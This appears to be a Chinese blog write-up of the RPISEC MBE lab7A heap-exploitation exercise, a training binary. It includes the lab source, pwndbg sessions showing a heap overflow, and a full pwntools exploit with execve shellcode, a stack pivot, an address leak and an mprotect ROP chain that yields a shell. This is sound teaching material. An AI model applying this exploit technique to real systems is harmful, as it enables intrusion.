RPISEC/MBE: writeup lab7A 堆漏洞

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab07/lab7A.c。这个程序还是偏难的。

utils.h

/*
 * Tools for anti-debug/disasm
 */

/* throws off esp analysis to thwart hexrays */
#define deathrays \
    __asm__ volatile("push     %eax      \n"\
                     "xor      %eax, %eax\n"\
                     "jz       .+5       \n"\
                     ".word    0xC483    \n"\
                     ".byte    0x04      \n"\
                     "pop      %eax      \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
    for (; *_argv; ++_argv) { \
        memset(*_argv, 0, strlen(*_argv)); \
    }
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
    char x = 0;
    while(1)
    {
        x = getchar();
        if(x == '\n' || x == EOF)
            break;
    }
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
    unsigned int res = 0;
    fflush(stdout);
    scanf("%u", &res);
    clear_stdin();
    return res;
}

void prog_timeout(int sig)
{
  asm("mov $1, %eax;"
      "mov $1, %ebx;"
      "int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
  __attribute__ ((constructor)) void enable_timeout_cons() \
  { \
      signal(SIGALRM, prog_timeout); \
      alarm(_time); \
}

lab7A.c

/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */
 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include "./utils.h"
 
// ENABLE_TIMEOUT(60)
 
#define MAX_MSG    10
#define MAX_BLOCKS 32
#define BLOCK_SIZE 4
 
struct msg {
    void (* print_msg)(struct msg *);
    unsigned int xor_pad[MAX_BLOCKS];
    unsigned int message[MAX_BLOCKS];
    unsigned int msg_len;
};
 
struct msg * messages[MAX_MSG];
 
/* apply one time pad */
void encdec_message(unsigned int * message, unsigned int * xor_pad)
{
    int i = 0;
    for(i = 0; i < MAX_BLOCKS; i++)
        message[i] ^= xor_pad[i];
}
 
/* print information about the given message */
void print_message(struct msg * to_print)
{
    unsigned int i = 0;
    char * xor_pad;
    char * message;
 
    xor_pad = (char *)&to_print->xor_pad;
    message = (char *)&to_print->message;
 
    /* print the message's xor pad */
    printf("\nXOR Pad: \n"
           "-----------------------------------------\n");
 
    for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
    {
        printf("%02x", xor_pad[i] & 0xFF);
        if(i % 32 == 31)
            puts("");
    }
 
    /* print encrypted message */
    printf("\nEncrypted Message: \n"
           "-----------------------------------------\n");
 
    for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
    {
        printf("%02x", message[i] & 0xFF);
        if(i % 32 == 31)
            puts("");
    }
 
    puts("");
}
 
/* creates a message */
int create_message()
{
    int i, j;
    struct msg * new_msg = NULL;
 
    /* find a free message slot */
    for(i = 0; i < MAX_MSG; i++)
        if(messages[i] == NULL)
            break;
 
    /* make sure we actually found an empty slot */
    if(messages[i])
    {
        printf("-No message slots left!\n");
        return 1;
    }
 
    printf("-Using message slot #%u\n", i);
 
    /* initialize new message */
    new_msg = malloc(sizeof(struct msg));
    memset(new_msg, 0, sizeof(struct msg));
    new_msg->print_msg = &print_message;
 
    for(j = 0; j < MAX_BLOCKS; j++)
        new_msg->xor_pad[j] = rand();
 
    /* get the length of data the user intends to encrypt */
    printf("-Enter data length: ");
 
    new_msg->msg_len = get_unum();
 
    if(new_msg->msg_len == 0)
    {
        printf("-Message length must be greater than zero!\n");
        free(new_msg);
        return 1;
    }
 
    /* make sure the message length is no bigger than the xor pad */
    if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
        new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;
 
    /* read in the message to encrypt with the xor pad */
    printf("-Enter data to encrypt: ");
    read(0, &new_msg->message, new_msg->msg_len);
 
    /* encrypt message */
    encdec_message(new_msg->message, new_msg->xor_pad);
 
    /* save the new message to the global list */
    messages[i] = new_msg;
 
    return 0;
}
 
int edit_message()
{
    char numbuf[32];
    unsigned int i = 0;
 
    /* get message index to destroy */
    printf("-Input message index to edit: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);
 
    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }
 
    printf("-Input new message to encrypt: ");
 
    /* clear old message, and read in a new one */
    memset(&messages[i]->message, 0, BLOCK_SIZE * MAX_BLOCKS);
    read(0, &messages[i]->message, messages[i]->msg_len);
 
    /* encrypt message */
    encdec_message(messages[i]->message, messages[i]->xor_pad);
 
    return 0;
}
 
/* free a secure message */
int destroy_message()
{
    char numbuf[32];
    unsigned int i = 0;
 
    /* get message index to destroy */
    printf("-Input message index to destroy: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);
 
    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }
 
    /* destroy message */
    memset(messages[i], 0, sizeof(struct msg));
    free(messages[i]);
    messages[i] = NULL;
 
    return 0;
}
 
/* print a message at a select index */
int print_index()
{
    char numbuf[32];
    unsigned int i = 0;
 
    /* get message index to print */
    printf("-Input message index to print: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);
 
    if(i >= MAX_MSG || messages[i] == NULL)
    {
        printf("-Invalid message index!\n");
        return 1;
    }
 
    /* print the message of interest */
    messages[i]->print_msg(messages[i]);
 
    return 0;
}
 
/* the vulnerability is in here */
void print_menu()
{
    printf("+---------------------------------------+\n"
           "|        Doom's OTP Service v1.0        |\n"
           "+---------------------------------------+\n"
           "|------------ Services Menu ------------|\n"
           "|---------------------------------------|\n"
           "| 1. Create secure message              |\n"
           "| 2. Edit secure message                |\n"
           "| 3. Destroy secure message             |\n"
           "| 4. Print message details              |\n"
           "| 5. Quit                               |\n"
           "+---------------------------------------+\n");
}
 
int main()
{
    int choice = 0;
    srand(time(NULL));
    disable_buffering(stdout);
 
    while(1)
    {
        print_menu();
 
        /* get menu option */
        printf("Enter Choice: ");
        choice = get_unum();
 
        printf("-----------------------------------------\n");
 
        /* handle menu selection */
        if(choice == 1)
        {
            if(create_message())
                printf("-Failed to create message!\n");
            else
                printf("-Message created successfully!\n");
        }
        else if(choice == 2)
        {
            if(edit_message())
                printf("-Failed to edit message!\n");
            else
                printf("-Message has been successfully modified!\n");
        }
        else if(choice == 3)
        {
            if(destroy_message())
                printf("-Failed to destroy message!\n");
            else
                printf("-Message destroyed!\n");
        }
        else if(choice == 4)
        {
            if(print_index())
                printf("-Failed to print message!\n");
        }
        else if(choice == 5)
        {
            break;  // exit
        }
        else
            printf("-Invalid choice!\n");
 
        choice = 0;
        puts("");
    }
 
    printf("See you tomorrow!\n");
    return EXIT_SUCCESS;
}

站长已经编译好了,为了迎合要求,站长在32位的Ubuntu14.04上编译的,点击下载lab7A
Writeup 借鉴自https://devel0pment.de/?p=386

这个程序有什么漏洞呢?

这个程序比较难,在上面的代码中很难发现漏洞。在对程序进行了一些尝试之后,发现在选择msg_len时,128 < msg_len < 132的值不会被重置为128的最大值。以下几行代码导致了这个问题:

if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
    new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

msg_len是一个无符号整数,宏定义BLOCK_SIZE也是一个整数(4),这意味着上面的if语句中的(new_msg->msg_len / BLOCK_SIZE)是整数:

>>> 127/4
31
>>> 128/4
32
>>> 129/4
32
>>> 130/4
32
>>> 131/4
32
>>> 132/4
33

由于余数没有被考虑,上面的if条件在msg_len大于131时才计算为true。这意味着我们可以将成员变量message溢出3个字节!message之后的内存中储存的是什么呢?msg_len。因此,我们可以设置msg_len为更大的数,然后使用edit_message函数使message溢出很多字节,而不仅仅是3个字节,这可能会覆盖该堆的下一个堆块。

为了方便调试,我用debug版本来演示堆溢出:

ex@Ex:~/test$ gdb ./glab7A 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./glab7A...done.
pwndbg&gt; b 271
Breakpoint 1 at 0x8049654: file main.c, line 271.
pwndbg&gt; r
Starting program: /home/ex/test/glab7A 
+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #0
-Enter data length: 131
-Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-Message created successfully!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 5
-----------------------------------------

Breakpoint 1, main () at main.c:271
warning: Source file is more recent than executable.
271	    printf("See you tomorrow!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x2a
 EBX  0x80481a8 (_init) ◂— push   ebx
 ECX  0x80ed518 (_IO_stdfile_1_lock) ◂— 0x0
 EDX  0x2a
 EDI  0x80ebfbc (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8068e60 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 ESI  0x0
 EBP  0xffffce58 —▸ 0x8049e20 (__libc_csu_fini) ◂— push   ebx
 ESP  0xffffce30 —▸ 0x80c0210 ◂— sub    eax, 0x2d2d2d2d /* '-----------------------------------------' */
 EIP  0x8049654 (main+303) ◂— mov    dword ptr [esp], 0x80c0314
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ► 0x8049654 <main+303>    mov    dword ptr [esp], 0x80c0314
   0x804965b <main+310>    call   puts &lt;0x80508d0&gt;
 
   0x8049660 <main+315>    mov    eax, 0
   0x8049665 <main+320>    mov    edx, dword ptr [esp + 0x1c]
   0x8049669 <main+324>    xor    edx, dword ptr gs:[0x14]
   0x8049670 <main+331>    je     main+377 &lt;0x804969e&gt;
 
   0x8049672 <main+333>    jmp    main+372 &lt;0x8049699&gt;
 
   0x8049674 <main+335>    mov    dword ptr [esp], 0x80c0303
   0x804967b <main+342>    call   puts &lt;0x80508d0&gt;
 
   0x8049680 <main+347>    mov    dword ptr [esp + 0x18], 0
   0x8049688 <main+355>    mov    dword ptr [esp], 0x80bfec6
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/main.c
   266  
   267         choice = 0;
   268         puts("");
   269     }
   270  
 ► 271     printf("See you tomorrow!\n");
   272     return EXIT_SUCCESS;
   273 }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffce30 —▸ 0x80c0210 ◂— sub    eax, 0x2d2d2d2d /* '-----------------------------------------' */
01:0004│      0xffffce34 ◂— 0x0
02:0008│      0xffffce38 ◂— 0x2
03:000c│      0xffffce3c ◂— 0x0
04:0010│      0xffffce40 —▸ 0x80ec014 (__exit_funcs) —▸ 0x80ed2e0 (initial) ◂— 0x0
05:0014│      0xffffce44 —▸ 0xffffcee4 —▸ 0xffffd0d1 ◂— '/home/ex/test/glab7A'
06:0018│      0xffffce48 ◂— 0x5
07:001c│      0xffffce4c ◂— 0xe0ad9e00
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
 ► f 0  8049654 main+303
   f 1  804986a __libc_start_main+458
Breakpoint /home/ex/test/main.c:271
pwndbg&gt; p *messages[0]
$1 = {
  print_msg = 0x8048f8f <print_message>, 
  xor_pad = {851732486, 1462997400, 966742113, 882646887, 832287205, 1220986749, 888645753, 1587861797, 174410442, 1150338730, 1367689140, 1781784704, 1920013348, 770315845, 586355133, 1628488295, 560201202, 1092788784, 2107654148, 1519206623, 973993493, 891996160, 381696200, 1617269897, 1412761790, 2095728222, 485752312, 246837394, 989643003, 482423427, 613856187, 1841375490}, 
  message = {1938106695, 376623321, 2027819296, 1977441830, 1893396644, 159876668, 1974921528, 535140452, 1260653451, 97617899, 281282293, 728932801, 858805605, 1823168260, 1672630524, 542212902, 1612889267, 6546289, 1021378885, 466354590, 2068625236, 1953204545, 1468103049, 556062152, 359942655, 1034618655, 1571994809, 1341600211, 2076017082, 1568699330, 1708651258, 746612803}, 
  msg_len = 672065
}
pwndbg&gt; p messages[0]
$2 = (struct msg *) 0x80f09d8
pwndbg&gt; x/4xw 0x80f09d8 - 8
0x80f09d0:	0x00000000	0x00000111	0x08048f8f	0x4615332a</print_message>

可以看到msg_len的值已被覆盖。

// From Glibc 2.19 Source (malloc.c)
struct malloc_chunk
{
    INTERNAL_SIZE_T prev_size;        /* (指针)长度取决于储存字长Size of previous chunk (if free).  */
    INTERNAL_SIZE_T size;             /* (一个字节)Size in bytes, including overhead. */
    struct malloc_chunk *fd;          /* double links -- used only if free. */
    struct malloc_chunk *bk;          /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk *bk_nextsize;
};

只要第一个message的msg_len足够大,我们就可以使用edit_message函数覆盖第二个堆块,下面我再用gdb演示一下如何修改print_msg函数指针的值:

ex@Ex:~/test$ gdb ./glab7A 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./glab7A...done.
pwndbg> b 271
Breakpoint 1 at 0x8049654: file main.c, line 271.
pwndbg> r
Starting program: /home/ex/test/glab7A 
+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #0
-Enter data length: 131
-Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-Message created successfully!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #1
-Enter data length: 16
-Enter data to encrypt: AAAA
-Message created successfully!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 2
-----------------------------------------
-Input message index to edit: 0
-Input new message to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
-Message has been successfully modified!

+---------------------------------------+
|        Doom's OTP Service v1.0        |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message              |
| 2. Edit secure message                |
| 3. Destroy secure message             |
| 4. Print message details              |
| 5. Quit                               |
+---------------------------------------+
Enter Choice: 5
-----------------------------------------

Breakpoint 1, main () at main.c:271
warning: Source file is more recent than executable.
271	    printf("See you tomorrow!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x2a
 EBX  0x80481a8 (_init) ◂— push   ebx
 ECX  0x80ed518 (_IO_stdfile_1_lock) ◂— 0x0
 EDX  0x2a
 EDI  0x80ebfbc (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8068e60 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 ESI  0x0
 EBP  0xffffce58 —▸ 0x8049e20 (__libc_csu_fini) ◂— push   ebx
 ESP  0xffffce30 —▸ 0x80c0210 ◂— sub    eax, 0x2d2d2d2d /* '-----------------------------------------' */
 EIP  0x8049654 (main+303) ◂— mov    dword ptr [esp], 0x80c0314
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
 ► 0x8049654 <main+303>    mov    dword ptr [esp], 0x80c0314
   0x804965b <main+310>    call   puts <0x80508d0>
 
   0x8049660 <main+315>    mov    eax, 0
   0x8049665 <main+320>    mov    edx, dword ptr [esp + 0x1c]
   0x8049669 <main+324>    xor    edx, dword ptr gs:[0x14]
   0x8049670 <main+331>    je     main+377 <0x804969e>
 
   0x8049672 <main+333>    jmp    main+372 <0x8049699>
 
   0x8049674 <main+335>    mov    dword ptr [esp], 0x80c0303
   0x804967b <main+342>    call   puts <0x80508d0>
 
   0x8049680 <main+347>    mov    dword ptr [esp + 0x18], 0
   0x8049688 <main+355>    mov    dword ptr [esp], 0x80bfec6
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/main.c
   266  
   267         choice = 0;
   268         puts("");
   269     }
   270  
 ► 271     printf("See you tomorrow!\n");
   272     return EXIT_SUCCESS;
   273 }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffce30 —▸ 0x80c0210 ◂— sub    eax, 0x2d2d2d2d /* '-----------------------------------------' */
01:0004│      0xffffce34 ◂— 0x0
02:0008│      0xffffce38 ◂— 0x2
03:000c│      0xffffce3c ◂— 0x0
04:0010│      0xffffce40 —▸ 0x80ec014 (__exit_funcs) —▸ 0x80ed2e0 (initial) ◂— 0x0
05:0014│      0xffffce44 —▸ 0xffffcee4 —▸ 0xffffd0d1 ◂— '/home/ex/test/glab7A'
06:0018│      0xffffce48 ◂— 0x5
07:001c│      0xffffce4c ◂— 0x2c8c2300
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
 ► f 0  8049654 main+303
   f 1  804986a __libc_start_main+458
Breakpoint /home/ex/test/main.c:271
pwndbg> p *messages[0]
$1 = {
  print_msg = 0x8048f8f <print_message>, 
  xor_pad = {286392798, 1980774351, 1633991005, 2019762111, 2138164096, 511729770, 1117871774, 1713023654, 1171543256, 1818296091, 1773392852, 720679501, 1623626257, 636455305, 752330986, 1446596160, 2117342767, 204498755, 2043555676, 1178031475, 329394708, 1549666869, 1359438455, 442911237, 1392282039, 1707549682, 304231412, 21432751, 1469741183, 455340000, 557123673, 1756133981}, 
  message = {1347633311, 928085646, 539359260, 958553854, 1043368641, 1606492459, 65019871, 660335591, 76879257, 757186138, 686985877, 1807086348, 562549584, 1689176264, 1838606763, 393744129, 1064654702, 1299260930, 948923933, 125178930, 1390635861, 488590196, 273031990, 1529285444, 331204854, 612786867, 1399026357, 1074153710, 383465790, 1516416673, 1618233624, 703413020}, 
  msg_len = 1094795585
}
pwndbg> p *messages[1]
$2 = {
  print_msg = 0x34333231, 
  xor_pad = {288630538, 43631031, 1628412444, 279311152, 555360801, 598800571, 1992334806, 1726904057, 269613014, 1618244011, 300099911, 1893239271, 107215668, 1052430897, 1192351783, 77074787, 1256929652, 1088423812, 1255106263, 1586324361, 490607033, 467061070, 2029235598, 1882889072, 27127104, 185983362, 1904321823, 1496868288, 641323363, 313961849, 1105518621, 929954067}, 
  message = {1349871345, 43631037, 1628412444, 279311152, 555360801, 598800571, 1992334806, 1726904057, 269613014, 1618244011, 300099911, 1893239271, 107215668, 1052430897, 1192351783, 77074787, 1256929652, 1088423812, 1255106263, 1586324361, 490607033, 467061070, 2029235598, 1882889072, 27127104, 185983362, 1904321823, 1496868288, 641323363, 313961849, 1105518621, 929954067}, 
  msg_len = 16
}

现在,我们成功地利用这个漏洞来控制指令指针(eip)。

该跳到哪里去?

正如编译参数 -static,二进制是静态链接的。所以,让我们首先检查一下是否有system函数:

ex@Ex:~/test$ readelf -s ./lab7A | grep system
   738: 080d5000    62 OBJECT  LOCAL  DEFAULT   10 system_dirs
   739: 080d4fec    16 OBJECT  LOCAL  DEFAULT   10 system_dirs_len</code></pre>
然而并没有,或许我们能搜寻字符串"/bin/sh"然后构建一条ROP链来执行系统调用execve。
<pre><code class="plaintext">ex@Ex:~/test$ strings ./lab7A | grep /bin/sh
ex@Ex:~/test$ readelf -s ./lab7A | grep mprotect
  1246: 0806eff0    37 FUNC    GLOBAL DEFAULT    6 __mprotect
  2223: 0806eff0    37 FUNC    WEAK   DEFAULT    6 mprotect</code></pre>
任然没有,但是我们发现程序里有mprotect函数。
<pre><code class="plaintext">MPROTECT(2)                                   Linux Programmer's Manual                                  MPROTECT(2)
 
NAME
       mprotect - set protection on a region of memory
 
SYNOPSIS
       #include <sys mman.h="">
 
       int mprotect(void *addr, size_t len, int prot);
 
DESCRIPTION
       mprotect()  changes  protection  for  the calling process's memory page(s) containing any part of the address
       range in the interval [addr, addr+len-1].  addr must be aligned to a page boundary.

mprotect可以用来改变对内存页的保护。到目前为止,我们不能在堆栈或堆中执行shellcode,是因为NX是启用的,如果我们调用mprotect函数使得堆有执行权限,我们就能将shellcode储存在堆中并将eip指向shellcode。

在调用mprotect之前,我们需要泄露堆的地址来作为mprotect的第一个参数。

可以用puts函数。

ex@Ex:~/test$ readelf -s ./lab7A | grep puts
   222: 00000000     0 FILE    LOCAL  DEFAULT  ABS ioputs.o
   640: 00000000     0 FILE    LOCAL  DEFAULT  ABS iofputs.o
  1357: 080508d0   335 FUNC    WEAK   DEFAULT    6 puts
  1510: 08093f90   253 FUNC    GLOBAL DEFAULT    6 _IO_fputs
  1682: 080508d0   335 FUNC    GLOBAL DEFAULT    6 _IO_puts
  2211: 08093f90   253 FUNC    WEAK   DEFAULT    6 fputs

我们要将全局变量messages的固定地址(0x80edf60)传递给puts,那么至少会打印第一个堆指针的地址。

我们发现的堆溢出漏洞,我们只能覆盖一个函数地址。如果我们写入更多字节,这些字节将不会存储在栈中,而是存储在堆上的结构体中。但是结构体的print_msg函数恰好能为我们所用。

但是我们如何控制堆栈上的区域呢?程序中没有栈溢出漏洞!?其实,我们不需要一个栈漏洞来修改栈。所有本地变量都存储在堆栈中,而print_index里的fgets恰好能为我们整理栈空间。

char numbuf[32];
unsigned int i = 0;
 
/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);

还有一件事,我们必要要确保buffer的第一个字节是有效的。

if(i >= MAX_MSG || messages[i] == NULL)
{
    printf("-Invalid message index!\n");
    return 1;
}
 
/* print the message of interest */
messages[i]->print_msg(messages[i]);

总结一下,我们将执行以下操作来泄漏堆地址:
- >创建长度为131的message,覆盖msg_len。
- >创建第二个message。
- >编辑第一个message,利用覆盖的msg_len覆盖第二个message的成员函数,后面还要跟着pivoting gadget(预先的ROP)。
- >选择4。打印输入索引1(第二个message),就能按照预先的ROP进行执行,从而泄露全局指针messages。

下面的图片表示了pivoting gadget的步骤:

最后贴上脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

p = process('./lab7A')
# p = remote('ub14.ex',100)
# raw_input('#')
# gdb.attach(proc.pidof(p)[0],'c')
# context.log_level="debug"

#    0:   31 c0                   xor    eax,eax
#    2:   50                      push   eax
#    3:   68 2f 2f 73 68          push   0x68732f2f
#    8:   68 2f 62 69 6e          push   0x6e69622f
#    d:   89 e3                   mov    ebx,esp
#    f:   89 c1                   mov    ecx,eax
#   11:   89 c2                   mov    edx,eax
#   13:   b0 0b                   mov    al,0xb
#   15:   cd 80                   int    0x80
#   17:   31 c0                   xor    eax,eax
#   19:   40                      inc    eax
#   1a:   cd 80                   int    0x80
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"\
            "\x68\x2f\x62\x69\x6e\x89\xe3"\
            "\x89\xc1\x89\xc2\xb0\x0b\xcd"\
            "\x80\x31\xc0\x40\xcd\x80"

#************************************************
# stage 1

# create first obj -> overflow 3 bytes changing msg_len
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.recvuntil(": ")
p.sendline("131")               #    --> len = 131
p.recvuntil(": ")
p.sendline("A"*130)             #    --> data = "AAAAAA...\n"

# create second obj -> we are going to overwrite this shortly
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.recvuntil(": ")
p.sendline("4")                 #    --> len = 4
p.recvuntil(": ")
p.sendline("A"*3)               #    --> data = "AAA\n"

# overwrite second obj
p.recvuntil("Enter Choice: ")
p.sendline("2")                 # 2. Edit secure message
p.recvuntil(": ")
p.sendline("0")                 #    --> index = 0

expl = "A"*132
expl += p32(0x00000000)
expl += p32(0x00000111) # 保留原先的heap块头部
expl += p32(0x0807e2a2) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret
expl += shellcode
p.recvuntil(": ")
p.sendline(expl)                #    --> data = expl

# call function -> leak heap address
p.recvuntil("Enter Choice: ")
p.sendline("4")                 # 4. Print message details
num = "1\x00"
num += "A"*6
num += p32(0x80508d0) # second gadget after pivoting: puts
num += p32(0x80494DD) # return address: main
num += p32(0x80edf60) # 1st arg puts: 全局变量messages
p.recvuntil(": ")
p.sendline(num)                 #    --> index = 1 (+rop-chain)

# output contains address of first heap object in messages array
ret = p.recvuntil("Enter Choice: ")
message_0 = u32(ret[:4])
log.info("message_0 = " + hex(message_0))


#************************************************
# stage 2

# 3rd obj -> overflow msg_len by 3 bytes
p.sendline("1")                 # 1. Create secure message
p.recvuntil(": ")
p.sendline("131")               #    --> len = 131
p.recvuntil(": ")
p.sendline("A"*130)             #    --> data = "AAAAAA...\n"

# 4th obj -> we are going to overwrite this shortly
p.recvuntil("Enter Choice: ")
p.sendline("1")                 # 1. Create secure message
p.recvuntil(": ")
p.sendline("4")                 #    --> len = 4
p.recvuntil(": ")
p.sendline("A"*3)               #    --> data = "AAA\n"

# overwrite 4th obj
p.recvuntil("Enter Choice: ")
p.sendline("2")                 # 2. Edit secure message
p.recvuntil(": ")
p.sendline("2")                 #    --> index = 2
p.recvuntil(": ")
expl = "A"*132
expl += p32(0x00000000)
expl += p32(0x00000111)
expl += p32(0x0807e2a2) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret
p.sendline(expl)                #   --> data = expl

# 这里部分系统的差是0x19d0,部分是0x19d8,所以为了兼容性,下面的两个值我都调用一遍mprotect函数
# 或许以后随着系统升级,该值还会改变,请依情况而定
# call function -> mprotect for 0x19d0
p.recvuntil("Enter Choice: ")
p.sendline("4")                 # 4. Print message details
p.recvuntil(": ")
num = "3\x00"
num += "A"*6
num += p32(0x806eff0)          # second gadget: __mprotect
num += p32(0x80494DD) # return address: main
num += p32(message_0 - 0x19d0) # memory-page heap
num += p32(0x22000)            # size = 0x22000
num += p32(0x7)                # prot = RWX
p.sendline(num)                 #    --> index = 3 (+rop-chain)

# call function -> mprotect again for 0x19d8
p.recvuntil("Enter Choice: ")
p.sendline("4")                 # 4. Print message details
p.recvuntil(": ")
num = "3\x00"
num += "A"*6
num += p32(0x806eff0)          # second gadget: __mprotect
num += p32(message_0 + 276)    # return: heap-address
num += p32(message_0 - 0x19d8) # memory-page heap
num += p32(0x22000)            # size = 0x22000
num += p32(0x7)                # prot = RWX
p.sendline(num)                 #    --> index = 3 (+rop-chain)

p.interactive()

下面是执行的效果:

ex@Ex:~/test$ ./main.py 
[+] Starting local process './lab7A': Done
[*] message_0 = 0x8c049d8
[*] Switching to interactive mode
$ echo hello world
hello world
$

说点什么

avatar
  Subscribe  
提醒